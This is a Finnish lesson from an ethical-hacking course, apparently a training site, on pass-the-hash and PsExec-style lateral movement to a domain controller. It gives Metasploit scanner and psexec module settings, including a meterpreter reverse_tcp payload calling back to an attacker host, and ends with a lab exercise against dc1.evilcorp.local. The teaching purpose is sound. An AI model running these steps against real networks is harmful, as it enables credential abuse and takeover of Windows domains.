Psexec ja Pass the Hash (PtH) hyökkäys toimialueohjaimelle (domain controller)
NTLM-tiivisteen kokeilu
Kun sinulla on yhden palvelimen Administrator-käyttäjän NTLM-tiiviste tiedossa, kannattaa kokeilla samaa tiivistettä (ja käyttäjää) muihinkin palvelimiin verkossa.
Voit tehdä tämän Metasploitin auxiliary/scanner/smb/smb_login moduulilla. Parametrit:
- RHOSTS: 10.0.0.0/24
- SMBUser: Administrator
- SMBPass: aad3b435b51404eeaad3b435b51404ee:62...(täydennä)


Etäyhteys
On monta eri tapaa käyttää NTLM-tiivistettä palvelimen haltuunottamiseksi. Tutustumme nyt menetelmään joka tunnetaan nimellä "PsExec". Ennen kuin hypätään siihen, käydään läpi DCE/RPC ja SCM.
DCE/RPC
DCE/RPC (Distributed Computing Environment/Remote Procedure Call) on protokolla, jota käytetään kommunikaatiossa hajautetuissa järjestelmissä. Se mahdollistaa prosessien välisen tiedonvaihdon ja toimintojen suorittamisen etäyhteyden avulla. DCE/RPC-protokollaa käytetään laajalti Windows-järjestelmissä, mukaan lukien palveluiden etäkäynnistämiseen.
Windowsissa DCE/RPC-protokolla on keskeinen tekijä monissa verkkopalveluissa ja -toiminnoissa. Kun halutaan käynnistää palvelu etänä, esimerkiksi toiselta tietokoneelta tai palvelimelta, DCE/RPC tulee kuvaan.
SCM (Service Control Manager)
SCM on Windowsin DCE/RPC-rajapinta jonka kautta voi hallita Windows-palveluja (service). SCM RPC-palvelun UUID on 367ABB81-9844-35F1-AD32-98F038001003.
PsExec
PsExec ei sinänsä ole mikään virallinen Windowsin protokolla, vaan yleistynyt nimi sille, että suoritetaan Windowsissa komentoja käynnistämällä etänä palvelu SCM RPC-rajapinnan kautta. Palvelu voi olla vaikka "cmd.exe" ja sillä voi olla komento parametrina.
Toinen vaihtoehto on ladata palvelimelle suoritettava tiedosto SMB-jaon kautta ja käynnistää se palveluna, mutta tämä jää paljon helpommin kiinni antivirusjärjestelmään kuin esimerkiksi powershell-komennon ajaminen muistissa.
Metasploitin psexec-moduuli
Psexec-tyylisiä etähallintatyökaluja on monia, Microsoftillakin on omansa (jonka nimi on psexec, josta nimi on lähtöisin). Metasploitista löytyy myös omansa, exploit/windows/smb/psexec.
Tässä on kuva Metasploitin lähdekoodista psexec-moduulista. Huomaa SCM UUID ja DPE/RPC viittaus.

Moduuli toimii seuraavasti:
- Kirjaudutaan SMB:llä IPC-jakoon.
- Käynnistetään SCM:llä palvelu joka käynnistää powershell.exe komennon ja antaa sille Metasploitin luoman powershell-skriptin parametrina.
- Powershell-skripti avaa meterpreter-yhteyden.
Jos powershellia ei ole asennettu, moduuli osaa kokeilla vaihtoehtoista tapaa, kuten ladata binääri levylle ja käynnistää palvelu siitä.
Moduulin asetukset ovat samat tutut.
- set payload windows/meterpreter/reverse_tcp
- set lhost 10.0.0.100
- set lport 1234
- set rhost 10.0.0.2
- set SMBUser Administrator
- set SMBPass aad3b435b51404eeaad3b435b51404ee:62...

Harjoitus
Etsi SMB-skannerilla kohteet joihin salasanatiiviste kelpaa ja murtaudu sitten toimialueohjaimelle (dc1.evilcorp.local) psexec-moduulilla. Aja meterpreterissä komento: cat C:\code.txt tai jos olet Windowsin komentorivissä (esimerkiksi meterpreterin shell-komennolla) niin: type C:\code.txt Mikä on koodi?


Valmis ryhtymään eettiseksi hakkeriksi?
Aloita jo tänään.
Hakatemian jäsenenä saat rajoittamattoman pääsyn Hakatemian moduuleihin, harjoituksiin ja työkaluihin, sekä pääset discord-kanavalle jossa voit pyytää apua sekä ohjaajilta että muilta Hakatemian jäseniltä.